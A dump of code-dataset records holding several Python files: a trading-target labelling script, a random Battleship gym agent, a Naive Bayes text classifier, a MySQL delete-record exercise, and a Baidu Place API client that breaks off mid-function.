{"api_name": "os.path", "line_number": 539, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 541, "usage_type": "call"}, {"api_name": "os.path", "line_number": 541, "usage_type": "attribute"}]} +{"seq_id": "531873472", "text": "import pandas as pd\nimport numpy as np\nimport datetime\nfrom pandas.tseries.holiday import USFederalHolidayCalendar as calendar\nimport configparser\nimport warnings\nimport feather\nimport time\nfrom multiprocessing import Pool, Process\nimport ast\nimport dask.dataframe as dd\nimport gc\nimport re\n\nimport sys\n\nstart_time = time.time()\n\n\nconfig = configparser.ConfigParser()\nconfig.read('/home/melgazar9/Trading/TD/Scripts/Trading-Scripts/Multi-Product/scripts/CL/CL_Create_Target.ini')\n\nstrong_buy_actual = float(config['PARAMS']['strong_buy_actual'])\nmed_buy_actual = float(config['PARAMS']['med_buy_actual'])\nno_trade_actual = float(config['PARAMS']['no_trade_actual'])\nmed_sell_actual = float(config['PARAMS']['med_sell_actual'])\nstrong_sell_actual = float(config['PARAMS']['strong_sell_actual'])\nstop_actual = float(config['PARAMS']['stop_actual'])\n\nstrong_buy_HL = float(config['PARAMS']['strong_buy_HL'])\nmed_buy_HL = float(config['PARAMS']['med_buy_HL'])\nno_trade_HL = float(config['PARAMS']['no_trade_HL'])\nmed_sell_HL = float(config['PARAMS']['med_sell_HL'])\nstrong_sell_HL = float(config['PARAMS']['strong_sell_HL'])\nstop_HL = float(config['PARAMS']['stop_HL'])\n\nstrong_cap_actual = float(config['PARAMS']['strong_cap_actual'])\nmed_cap_actual = float(config['PARAMS']['med_cap_actual'])\nstrong_cap_HL = float(config['PARAMS']['strong_cap_HL'])\nmed_cap_HL = float(config['PARAMS']['med_cap_actual'])\n\nthreshold = float(config['PARAMS']['threshold'])\n\nActual_Move = config['PARAMS']['Actual_Move']\nActual_HighMove = config['PARAMS']['Actual_HighMove']\nActual_LowMove = config['PARAMS']['Actual_LowMove']\n\n\n\nif config['PATH']['df_path'].endswith('.feather'):\n df = pd.read_feather(config['PATH']['df_path'])\nelif config['PATH']['df_path'].endswith('.feather'):\n df = dd.read_parquet(config['PATH']['df_path'], low_memory=False).compute()\nelif config['PATH']['df_path'].endswith('.csv'):\n df = pd.read_csv(config['PATH']['df_path'], low_memory=False)\n\n\ndf.set_index('Datetime', inplace=True)\ndf.sort_index(inplace=True)\n\nresample_period = list(re.findall('\\d+', Actual_Move))[0] + 'min'\ndf_tmp = df.resample(resample_period)\ntmp_actualMove = df_tmp[Actual_Move.replace('Actual', 'Prev')].shift(-1)\ntmp_actualMove.name = Actual_Move\ntmp_actualHighMove = df_tmp[Actual_HighMove.replace('Actual', 'Prev')].shift(-1)\ntmp_actualHighMove.name = Actual_HighMove\ntmp_actualLowMove = df_tmp[Actual_LowMove.replace('Actual', 'Prev')].shift(-1)\ntmp_actualLowMove.name = Actual_LowMove\ntmp = pd.merge_asof(tmp_actualMove, tmp_actualHighMove, left_index = True, right_index = True)\ntmp = pd.merge_asof(tmp, tmp_actualLowMove, left_index = True, right_index = True)\ndf = pd.merge_asof(df, tmp, left_index = True, right_index = True)\ndel df_tmp, resample_period, tmp_actualMove, tmp_actualHighMove, tmp_actualLowMove, tmp\n\nprint(df.head())\nprint(df.shape)\n\nclass CalcTarget():\n\n def __init__(self, df, strong_buy, med_buy, no_trade, med_sell, strong_sell, threshold, stop):\n\n self.df = df\n self.strong_buy = strong_buy\n self.med_buy = med_buy\n self.no_trade = no_trade\n self.med_sell = med_sell\n self.strong_sell = strong_sell\n self.threshold = threshold # to prevent data errors\n self.stop = stop\n\n def calc_target_actual(self):\n\n super().__init__()\n\n# self.df[Actual_Move] = self.df['Prev' + Actual_Move.strip('Actual')].shift(-1)\n\n # strong buy\n self.df.loc[(self.df[Actual_Move] >= self.strong_buy) & (self.df[Actual_Move] <= self.threshold) & (self.df[Actual_LowMove] > (-1)*self.stop), 'Target_Actual'] = 4\n\n # medium buy\n self.df.loc[(self.df[Actual_Move] >= self.med_buy) & (self.df[Actual_Move] <= self.strong_buy) & (self.df[Actual_LowMove] > (-1)*self.stop) & (self.df['Target_Actual'] != 4), 'Target_Actual'] = 3\n\n # medium sell\n self.df.loc[(self.df[Actual_Move] <= (-1) * self.med_sell) & (self.df[Actual_Move] >= (-1) * self.strong_sell) & (self.df[Actual_LowMove] < self.stop) & (self.df['Target_Actual'] != 4) & (self.df['Target_Actual'] != 3), 'Target_Actual'] = 1\n\n # strong sell\n self.df.loc[(self.df[Actual_Move] <= (-1) * self.strong_sell) & (self.df[Actual_Move] >= (-1) * self.threshold) & (self.df[Actual_LowMove] < self.stop) & (self.df['Target_Actual'] != 4) & (self.df['Target_Actual'] != 3) & (self.df['Target_Actual'] != 1), 'Target_Actual'] = 0\n\n self.df.loc[(self.df['Target_Actual'] != 0) & (self.df['Target_Actual'] != 1) & (self.df['Target_Actual'] != 3) & (self.df['Target_Actual'] != 4), 'Target_Actual'] = 2\n\n# return pd.DataFrame(lst, index=self.df.index).rename(columns={0:'Target_Actual'})\n# return pd.DataFrame(lst, index=self.df[[Actual_Move]].dropna().index).rename(columns={0:'Target_Actual'})\n return df\n\n\n def calc_target_HL(self):\n\n # stop means how much heat I am willing to take per trade\n # i.e. if the move went up in my favor $50 but I took $1000 worth of heat that isn't good\n # hm stands for high move, lm stands for low move\n\n# if np.isnan(self.df[Actual_LowMove]) or np.isnan(self.df[Actual_HighMove])\n\n # if ActualHM >= buy signal AND ActualLM doesn't go below stop\n # Strong Buy\n self.df.loc[(self.df[Actual_HighMove] >= self.strong_buy) & (self.df[Actual_LowMove] >= (-1)*self.stop), 'Target_HL'] = 4\n\n # Strong Sell\n self.df.loc[(self.df[Actual_LowMove] <= (-1)*self.strong_sell) & (self.df[Actual_HighMove] <= self.stop) & (self.df['Target_HL'] != 4), 'Target_HL'] = 0\n\n # Medium Buy\n self.df.loc[(self.df[Actual_HighMove] >= self.med_buy) & (self.df[Actual_LowMove] >= (-1)*self.stop) & (self.df['Target_HL'] != 4) & (self.df['Target_HL'] != 0), 'Target_HL'] = 3\n\n # Medium Sell\n self.df.loc[(self.df[Actual_LowMove] <= (-1)*self.med_sell) & (self.df[Actual_HighMove] <= self.stop) & (self.df['Target_HL'] != 4) & (self.df['Target_HL'] != 0) & (self.df['Target_HL'] != 3), 'Target_HL'] = 1\n\n self.df.loc[(self.df['Target_HL'] != 0) & (self.df['Target_HL'] != 1) & (self.df['Target_HL'] != 3) & (self.df['Target_HL'] != 4), 'Target_HL'] = 2\n# return pd.DataFrame(lst, index=self.df.resample('60min').first().index).rename(columns={0:'Target_HL'})\n# return pd.DataFrame(lst, index=self.df[[Actual_Move]].dropna().index).rename(columns={0:'Target_HL'})\n return df\n\nif config['PARAMS']['create_target_Actual_ON'] == 'TRUE':\n\n df_target_actual = CalcTarget(df, strong_buy=strong_buy_actual, med_buy=med_buy_actual, no_trade=no_trade_actual,\n med_sell=med_sell_actual, strong_sell=strong_sell_actual, threshold=threshold,\n stop=stop_actual).calc_target_actual()\n for i in range(int(config['PARAMS']['min_target_lookback']), int(config['PARAMS']['max_target_lookback']), int(config['PARAMS']['target_lookback_increment'])):\n df_target_actual['PrevTarget_ActMove' + str(i)] = df_target_actual['Target_Actual'].shift(i)\n\n df = df_target_actual.fillna(2).astype('int')\n\n print(df['Target_Actual'].value_counts())\n\nif config['PARAMS']['create_target_HL_ON'] == 'TRUE':\n\n df_target_HL = CalcTarget(df, strong_buy=strong_buy_HL, med_buy=med_buy_HL, no_trade=no_trade_HL,\n med_sell=med_sell_HL, strong_sell=strong_sell_HL, threshold=threshold,\n stop=stop_HL).calc_target_HL()\n\n\n print(df_target_HL['Target_HL'].value_counts())\n\n for i in range(int(config['PARAMS']['min_target_lookback']), int(config['PARAMS']['max_target_lookback']), int(config['PARAMS']['target_lookback_increment'])):\n df_target_HL['PrevTarget_HL' + str(i)] = df_target_HL['Target_HL'].shift(i)\n\n df = df_target_HL.fillna(2).astype('int')\n\n print(df['Target_HL'].value_counts())\n", "sub_path": "Trading/scripts/Live-Trading/Create_Target.py", "file_name": "Create_Target.py", "file_ext": "py", "file_size_in_byte": 7842, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "time.time", "line_number": 17, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.read_feather", "line_number": 51, "usage_type": "call"}, {"api_name": "dask.dataframe.read_parquet", "line_number": 53, "usage_type": "call"}, {"api_name": "dask.dataframe", "line_number": 53, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 55, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 61, "usage_type": "call"}, {"api_name": "pandas.merge_asof", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.merge_asof", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.merge_asof", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "36199712", "text": "import gym\nimport coding_challenge\nimport numpy as np\n\nenv = gym.make('Battleship-v0')\nstate = env.reset()\nterminal = False\nwhile not terminal:\n action = np.random.rand(2)\n state, reward, terminal, info = env.step(action)\n print(info['game_message'])\n", "sub_path": "random_agent/random_agent.py", "file_name": "random_agent.py", "file_ext": "py", "file_size_in_byte": 260, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "gym.make", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 9, "usage_type": "attribute"}]} +{"seq_id": "7218190", "text": "import os\nimport numpy as np\nfrom collections import defaultdict\nimport pandas as pd\nimport random\n\nos.chdir('C://Users/wanyu/Documents/Computational Linguilistics/PA2/github')\n\n\nclass NaiveBayes():\n\n def __init__(self, train_df, test_df):\n \n self.train_df = train_df\n self.test_df = test_df\n self.train_data = {}\n self.class_dict = {}\n self.feature_dict = {}\n self.V = {}\n self.V_unique = []\n self.class_count = []\n self.word_count = []\n self.feature_ratio = None\n self.prior = None\n self.likelihood = None\n self.label_col = None\n self.text_col = None\n \n \n \n def preprocess_text(self, text):\n \"\"\"\n Transform text data into a series of token words\n \"\"\"\n # Remove new lines and concatenate each line into a string \n text = ''.join(text.splitlines())\n # Transform a document into a series of token words\n text = text.split(' ')\n # Remove noncharacters\n text = [i for i in text if i.isalpha()]\n \n return text\n\n\n\n def get_train_data(self, label_col, text_col, class_dict=None):\n \n \"\"\"\n Stores all documents and words as class instances\n Compute the number of documents in each class,\n And the number of words in each document simultaneously\n \"\"\"\n \n self.label_col = label_col\n self.text_col = text_col\n \n self.class_dict = class_dict\n \n if class_dict == None:\n self.class_dict = {c_index: word \n for c_index, word \n in enumerate(self.train_df[self.label_col].unique())}\n \n \n for c_index, c_name in self.class_dict.items():\n document_list = []\n word_list = []\n \n for document in self.train_df.loc[self.train_df[self.label_col] == c_name, self.text_col]:\n document = self.preprocess_text(document)\n document_list.append(document)\n word_list.extend(document)\n \n self.train_data[c_index] = document_list \n self.V[c_index] = word_list \n # Compute the number of documents in each class\n self.class_count.append(len(document_list))\n # Compute the number of words in each class\n self.word_count.append(len(word_list))\n \n self.class_count = np.matrix(self.class_count).reshape(len(self.class_dict),1)\n self.word_count = np.matrix(self.word_count).reshape(len(self.class_dict),1) \n \n \n \n def potential_features(self, freq=0.0002, num_f=50):\n \"\"\"\n Selects some potential features that might be useful to classify\n based on the likelihood ratio:\n LR(w) = max (P(w|c1) / P(w|c2), P(w|c2) / P(w|c1)) \n \"\"\"\n \n # Calculate a frequency for each word and each class\n for key, value in self.V.items():\n self.V[key] = pd.Series(value).value_counts()\n \n # Combine two Series based on word indices\n df = pd.DataFrame(self.V).fillna(1)\n word_index = np.array(df.index)\n mat = np.matrix(df)\n \n # Calculate conditional probabilites for each word\n mat = np.divide(mat, mat.sum(axis=0))\n \n # Choose words with higher frequencies and stores their position\n # We can set a frequency rate in the function. The default is 0.0002.\n h_freq = np.where(np.sum(mat > freq, axis=1) != 0)[0]\n \n # Compute the likelihodd ratio\n \n ratio_name = []\n \n LR = np.zeros((mat.shape[0],1))\n for i in range(mat.shape[1]):\n for j in range(mat.shape[1]):\n if i == j: continue\n LR = np.c_[LR, mat[:,i]/mat[:,j]]\n name = self.class_dict[i] + '_' + self.class_dict[j]\n ratio_name.append(name)\n \n # Choose words based on the values of LR\n # We can set the number of candidates in our function.\n # The default is 50.\n \n top_LR_index = LR[h_freq].max(axis=1).argsort(axis=0)[:-(num_f+1):-1]\n candidate = word_index[h_freq][top_LR_index].reshape(1,num_f).tolist()\n\n column_name = list(self.class_dict.values()) + ratio_name \n self.feature_ratio = pd.DataFrame(np.c_[mat,LR[:, 1:]], \n columns = column_name,\n index = word_index)\n \n return candidate[0]\n \n\n def get_key(self, my_dict, val): \n \"\"\"\n Get the key by value in dictionary.\n \"\"\"\n for key, value in my_dict.items(): \n if val == value: \n return key \n\n\n def get_feature_dict(self, feature_list):\n \n feature_dict = { i: feature_list[i] \n for i in range(len(feature_list))} \n \n return feature_dict\n\n\n def train(self, feature_list):\n \"\"\"\n Trains a multinomial Naive Bayes classifier on a training set.\n Specifically, fills in self.prior and self.likelihood such that:\n self.prior[class] = log(P(class))\n self.likelihood[class][feature] = log(P(feature|class))\n \"\"\"\n # Define the features dictionary to train\n self.feature_dict = self.get_feature_dict(feature_list)\n \n # Compute the number of features in each document\n features_count = np.ones((len(self.class_dict), \n len(self.feature_dict)))\n \n\n for class_idx, class_docs in self.train_data.items():\n for document in class_docs:\n for word in document:\n if word in self.feature_dict.values():\n feature_index = self.get_key(self.feature_dict, word)\n features_count[class_idx][feature_index] += 1\n\n # Get unique words in all documents\n if self.V_unique == []:\n for w_df in self.V.values():\n word_list = list(w_df.index)\n self.V_unique.extend(word_list)\n #print(type(w_list))\n self.V_unique = list(set(self.V_unique))\n \n\n # normalize counts to probabilities, and take logs\n self.prior = np.log(self.class_count/np.sum(self.class_count))\n self.likelihood = np.log(np.divide(features_count, self.word_count+len(self.V_unique)))\n\n\n def test(self, data=0):\n \"\"\"\n Tests the classifier on a development or test set.\n Returns a dictionary of filenames mapped to their correct \n and predicted classes such that:\n results[fileID]['correct'] = correct class\n results[fileID]['predicted'] = predicted class\n \"\"\"\n \n results = defaultdict(dict)\n \n if data == 0:\n data = self.test_df\n \n\n for c_index, c_name in self.class_dict.items():\n \n for document in data.loc[data[self.label_col] == c_name, self.text_col]:\n document = self.preprocess_text(document)\n feature_count = np.zeros((len(self.feature_dict), 1))\n \n for word in document:\n if word in self.feature_dict.values():\n feature_index = list(self.feature_dict.values()).index(word)\n feature_count[feature_index] += 1\n \n class_prob = self.prior + self.likelihood.dot(feature_count)\n class_pred = int(class_prob.argmax(axis=0))\n results[len(results)]= {'correct': c_index,\n 'predicted': class_pred}\n \n return results\n\n\n def confusion_matrix(self, results):\n \"\"\"\n Compute a confusion matrix based on results produced from test()\n \"\"\"\n confusion_matrix = np.zeros((len(self.class_dict),\n len(self.class_dict)))\n \n for doc in results.values():\n confusion_matrix[doc['correct'], doc['predicted']] +=1\n \n return confusion_matrix \n \n \n def evaluate(self, results):\n \"\"\"\n Given results, calculates the following metrics:\n Precision, Recall, F1 for each class, and overall Accuracy\n Return an evaluation metrics in a DataFrame format.\n \"\"\"\n \n confusion_matrix = self.confusion_matrix(results)\n \n indicator = pd.Series(['Class', 'Accuracy', 'Precision', \n 'Recall', 'F1'])\n \n performance = []\n \n for i in range(2):\n class_name = self.class_dict[i]\n accuracy = round(np.sum(confusion_matrix.diagonal()) / np.sum(confusion_matrix), 3)\n precision = round(confusion_matrix[i,i] / np.sum(confusion_matrix[:,i]), 3)\n recall = round(confusion_matrix[i,i] / np.sum(confusion_matrix[i]), 3)\n f1_score = round((2*precision*recall) / (precision+recall), 3)\n performance.append([class_name, accuracy, precision, recall, f1_score])\n \n performance = pd.DataFrame(np.array(performance), columns=indicator).set_index('Class')\n\n return performance\n\n\n\n\n def select_features(self, feature_list, method = 'forward', \n random_select = True, max_features = 10, \n min_features = 10, metric = 'Accuracy', \n class_index = 0, show_process = False, \n print_mode = True):\n \n \"\"\"\n Performs a process of feature selection\n Returns a set of features and evaluation with the best performance\n \n Here, there are two methods used for selecting features:\n - Forward Method: \n Begins with an empty model and adds in one feature at each step.\n If the performance is better, then keep it. Otherwise, drop it.\n \n - Backward Method:\n Begins with all the features selected and removes one feature \n at each step. If the performance is better, then keep it. \n Otherwise, drop it.\n \n \"\"\"\n # Initialize \n final_features = []\n best_metric = 0\n best_evaluation = None\n \n # Shuffle features and make them have a random order\n if random_select:\n random_indices = random.sample(range(len(feature_list)-1), \n len(feature_list)-1)\n feature_list = [feature_list[i] for i in random_indices]\n \n # Forward Method\n if method == 'forward':\n for feature in feature_list:\n # Add one feature at each step\n final_features.append(feature)\n # Training model and compute some performance metrics \n self.train(final_features)\n results = self.test()\n evaluation = self.evaluate(results) \n \n # Set a metric to evaluate performance\n metric_v = float(evaluation.loc[self.class_dict[class_index], metric])\n \n # Determine if we should drop the feature based on the metric\n if metric_v > best_metric:\n best_metric = metric_v\n best_evaluation = evaluation\n \n else:\n final_features.remove(feature)\n \n # Show the selection process and print results at each round\n # The default is True\n if show_process == True:\n print(best_metric)\n print(final_features)\n \n # If the number of features achieve the maximum number,\n # then the selection process will stop\n # The default is at most 10 features\n if len(final_features) == max_features:\n break\n \n # Backward Method\n elif method == 'backward':\n \n # Begin with all the features selected\n final_features = feature_list\n \n # Remove one feature at each step\n for i in range(len(feature_list)): \n if i != 0:\n # Select the first one feature as a test word \n test_word = final_features[0]\n # Remove the test word\n final_features.remove(test_word)\n \n # Training model and compute some performance metrics \n self.train(final_features)\n results = self.test()\n evaluation = self.evaluate(results) \n \n # Determine if we should drop the feature \n # based on the metric we define in the function\n metric_v = float(evaluation.loc[self.class_dict[class_index], metric])\n \n \n if metric_v >= best_metric:\n best_metric = metric_v\n best_evaluation = evaluation\n \n else:\n final_features.append(test_word)\n \n # Determine if we need to print results at each round\n # The default is True \n if show_process == True:\n print(best_metric)\n print(final_features)\n \n # If the number of features achieve the minimum number,\n # then the selection process will stop\n # The default is at least 10 features\n if len(final_features) == min_features:\n break\n \n # Save the best model through training again\n self.train(final_features)\n results = self.test()\n evaluation = self.evaluate(results) \n\n \n # Decide whether the program print results or not. \n # The default is True\n if print_mode:\n print('------- The Number of Final Features -------\\n')\n print(str(len(final_features)) + '\\n')\n print('------- Features with the Best Performance -------\\n')\n print(', '.join(final_features) + '\\n')\n print('------- The Best Performance of the Model -------\\n')\n print(best_evaluation) \n \n \n return final_features, best_evaluation\n \n\n\n", "sub_path": "nlp/sentiment analysis/Naive Bayes Algorithm/NaiveBayesDF.py", "file_name": "NaiveBayesDF.py", "file_ext": "py", "file_size_in_byte": 14647, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.chdir", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 82, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.matrix", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 117, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.c_", "line_number": 129, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 186, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 227, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 254, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 258, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 293, "usage_type": "call"}]} +{"seq_id": "648642600", "text": "# Implementar la funcion borrar_persona, que elimina un registro en la tabla Persona.\n# Devuelve un booleano en base a si encontro el registro y lo borro o no.\n\nimport datetime\n\nfrom ejercicio_01 import reset_tabla, mysql, mydb, mycursor\nfrom ejercicio_02 import agregar_persona\n\n\ndef borrar_persona(id_persona):\n try:\n mycursor = mydb.cursor()\n mycursor.execute(f\"DELETE FROM `persona` WHERE `persona`.`IdPersona` = {id_persona}\")\n mydb.commit()\n query_result = mycursor.fetchone()\n if(mycursor.rowcount > 0):\n return True\n return False\n except mysql.connector.Error as error:\n print(f\"Error al eliminar a la persona con id {id_persona}: {error}\")\n return False\n finally:\n if (mydb.is_connected()):\n mycursor.close()\n pass\n\n\n@reset_tabla\ndef pruebas():\n assert borrar_persona(agregar_persona('juan perez', datetime.datetime(1988, 5, 15), 32165498, 180))\n assert borrar_persona(12345) is False\n\nif __name__ == '__main__':\n pruebas()\n", "sub_path": "practico_03/ejercicio_03.py", "file_name": "ejercicio_03.py", "file_ext": "py", "file_size_in_byte": 1043, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "ejercicio_01.mycursor", "line_number": 12, "usage_type": "name"}, {"api_name": "ejercicio_01.mydb.cursor", "line_number": 12, "usage_type": "call"}, {"api_name": "ejercicio_01.mydb", "line_number": 12, "usage_type": "name"}, {"api_name": "ejercicio_01.mycursor.execute", "line_number": 13, "usage_type": "call"}, {"api_name": "ejercicio_01.mycursor", "line_number": 13, "usage_type": "name"}, {"api_name": "ejercicio_01.mydb.commit", "line_number": 14, "usage_type": "call"}, {"api_name": "ejercicio_01.mydb", "line_number": 14, "usage_type": "name"}, {"api_name": "ejercicio_01.mycursor.fetchone", "line_number": 15, "usage_type": "call"}, {"api_name": "ejercicio_01.mycursor", "line_number": 15, "usage_type": "name"}, {"api_name": "ejercicio_01.mycursor.rowcount", "line_number": 16, "usage_type": "attribute"}, {"api_name": "ejercicio_01.mycursor", "line_number": 16, "usage_type": "name"}, {"api_name": "ejercicio_01.mysql.connector", "line_number": 19, "usage_type": "attribute"}, {"api_name": "ejercicio_01.mysql", "line_number": 19, "usage_type": "name"}, {"api_name": "ejercicio_01.mydb.is_connected", "line_number": 23, "usage_type": "call"}, {"api_name": "ejercicio_01.mydb", "line_number": 23, "usage_type": "name"}, {"api_name": "ejercicio_01.mycursor.close", "line_number": 24, "usage_type": "call"}, {"api_name": "ejercicio_01.mycursor", "line_number": 24, "usage_type": "name"}, {"api_name": "ejercicio_02.agregar_persona", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "call"}, {"api_name": "ejercicio_01.reset_tabla", "line_number": 28, "usage_type": "name"}]} +{"seq_id": "638424962", "text": "# -*- coding: utf-8 -*-\n__author__ = 'zhangjinjie'\n\nimport requests\nimport json\nimport logging\n\n\nclass PlaceApi(object):\n u\"\"\"\n search poi data by keyword.\n \"\"\"\n search_url = 'http://api.map.baidu.com/place/v2/search'\n detail_url = 'http://api.map.baidu.com/place/v2/detail'\n eventsearch_url = 'http://api.map.baidu.com/place/v2/eventsearch'\n eventdetail_url = 'http://api.map.baidu.com/place/v2/eventdetail'\n\n def __init__(self, scheduler):\n self.scheduler = scheduler\n\n def get_place_by_page(self, query, region, **kwargs):\n u\"\"\"\n 城市内检索\n\n 百度在没有查找到对应查询请求时, 会返回在其它城市查找到的结果, 返回格式为[{'num': , 'name': ''} ...]这样的数组\n 获取一页query相关地理信息\n :param query: 查询关键词\n :param region: 地区\n :param kwargs:\n :return: if success return\n {\n status: 本次API访问状态, 成功返回0, 其他返回其他数字,\n message: 对本次API访问状态值的英文说明, 如果成功返回'ok', 失败返回错误说明,\n total: 检索总数, 用户请求中设置了page_num字段时才会出现, 当检索总数超过760时, 多次刷新同一请求得到的total值, 可能稍有不同\n results: [\n {\n name: POI名称,\n location: {\n lat: 纬度,\n lng: 经度\n },\n address: POI地址信息,\n telephone: POI电话信息,\n uid: POI的唯一标识,\n detail_info: { # POI扩展信息, 仅当scope=2时, 显示该字段, 不同POI类型, 显示的detail_info字段不同\n distance: 距离中心点距离,\n type: POI类型,\n tag: 标签,\n detail_url: POI的详情页,\n price: POI商户的价格,\n shop_hours: 营业时间,\n overall_rating: 总体评分,\n taste_rating: 口味评分,\n service_rating: 服务评分,\n environment_rating: 环境评分,\n facility_rating: 星级评分,\n hygiene_rating: 卫生评分,\n technology_rating: 技术评分,\n image_num: 图片数,\n groupon_num: 团购数,\n discount_num: 优惠数,\n comment_num: 评论数,\n favorite_num: 收藏数,\n checkin_num: 签到数\n }\n }\n ...\n ]\n }\n else return None.\n \"\"\"\n tag = kwargs.get('tag', '')\n scope = kwargs.get('scope', 1) # 检索结果详细成都, 1 基本信息, 2 POI详细信息\n # filter字段设置, scope为2时有效\n industry_type = kwargs.get('industry_type', 'cater') # 行业类型. 取值范围为: hotel 宾馆, cater 餐饮, life 生活娱乐\n # 排序字段. industry_type为hotel时, 取指范围为: default 默认, price 价格, total_score 好评, level: 星级,\n # health_score: 卫生, distance: 距离; 为cater时, default: 默认, taste_rating: 口味, price: 价格,\n # overall_rating: 好评, service_rating: 服务, distance: 距离; 为life时, default: 默认, price: 价格,\n # overall_rating: 好评, comment_num: 服务, distance: 距离\n sort_name = kwargs.get('sort_name', 'default')\n sort_rule = kwargs.get('sort_rule', 0) # 排序规则, 0 从高到低, 1 从低到高\n groupon = kwargs.get('groupon', 1) # 是否有团购, 1 有团购, 0 无团购\n discount = kwargs.get('discount', 1) # 是否有打折, 1 有打折, 0 无打折\n page_size = kwargs.get('page_size', 20) # 每页数据记录数. 最大返回20条\n page_num = kwargs.get('page_num', 0) # 页序号\n params = {'query': query, 'output': 'json', 'scope': scope, 'page_size': page_size, 'page_num': page_num,\n 'ak': self.scheduler.next()}\n if scope == 2:\n filter = 'industry_type:{industry_type}|sort_name:{sort_name}|sort_rule:{sort_rule}|groupon:{groupon}|' \\\n 'discount:{discount}'.format(industry_type=industry_type, sort_name=sort_name,\n sort_rule=sort_rule, groupon=groupon, discount=discount)\n params['filter'] = filter\n\n if tag:\n params['tag'] = tag\n\n params['region'] = region\n r = requests.get(self.search_url, params=params)\n try:\n r.raise_for_status()\n data = json.loads(r.text)\n # print json.dumps(data, ensure_ascii=False)\n if data['status'] == 0:\n # 在状态为0时, 也有可能没有找到搜索结果, 而是返回在其它城市查找到的结果, 返回格式为[{'num': , 'name': ''} ...]这样的数组\n if len(data['results']) > 0:\n if 'location' in data['results'][0]:\n return data\n logging.debug(data['results'])\n return None\n return data\n else:\n logging.error('failed to get place, return result is %s' % r.text)\n return None\n except Exception as e:\n logging.exception(e)\n return None\n\n def get_place_all(self, query, region, **kwargs):\n u\"\"\"\n 根据关键词query查找所有地址信息\n\n *注意* 百度最多返回400条记录\n :param query: 查询关键词\n :param region: 地区\n :param kwargs:\n :return: if success return\n [\n {\n name: POI名称,\n location: {\n lat: 纬度,\n lng: 经度\n },\n address: POI地址信息,\n telephone: POI电话信息,\n uid: POI的唯一标识,\n detail_info: { # POI扩展信息, 仅当scope=2时, 显示该字段, 不同POI类型, 显示的detail_info字段不同\n distance: 距离中心点距离,\n type: POI类型,\n tag: 标签,\n detail_url: POI的详情页,\n price: POI商户的价格,\n shop_hours: 营业时间,\n overall_rating: 总体评分,\n taste_rating: 口味评分,\n service_rating: 服务评分,\n environment_rating: 环境评分,\n facility_rating: 星级评分,\n hygiene_rating: 卫生评分,\n technology_rating: 技术评分,\n image_num: 图片数,\n groupon_num: 团购数,\n discount_num: 优惠数,\n comment_num: 评论数,\n favorite_num: 收藏数,\n checkin_num: 签到数\n }\n }\n ...\n ]\n else return []\n \"\"\"\n data = []\n kwargs.update({'page_num': 0})\n r = self.get_place_by_page(query, region, **kwargs)\n if r is None:\n return data\n data.extend(r['results'])\n total = r['total']\n page_size = kwargs.get('page_size', 20)\n # print \"total: %d, page_size: %d\" % (total, page_size)\n for i in range(1, total // page_size + 1):\n kwargs.update({'page_num': i})\n r = self.get_place_by_page(query, region, **kwargs)\n if r is None:\n break\n if r['total'] == 0:\n break\n data.extend(r['results'])\n return data\n\n def get_place_by_uids(self, uids, **kwargs):\n u\"\"\"\n Place详情检索服务\n\n uids最多支持10个\n :param uids: string or list\n :param kwargs: available keys include 'output', 'scope'\n :return: same with get_place_all.\n \"\"\"\n params = {}\n if isinstance(uids, list):\n params['uids'] = ','.join(uids)\n else:\n params['uid'] = uids\n params['output'] = kwargs.get('output', 'json') # json or xml 请求返回格式\n params['scope'] = kwargs.get('scope', 1) # 1 返回基本信息, 2 返回POI详细信息\n params['ak'] = self.scheduler.next()\n try:\n r = requests.get(self.detail_url, params=params)\n r.raise_for_status()\n\n data = json.loads(r.text)\n if data['status'] == 0:\n return data['result']\n\n logging.error('failed to get place, return result is %s' % r.text)\n return []\n except Exception as e:\n 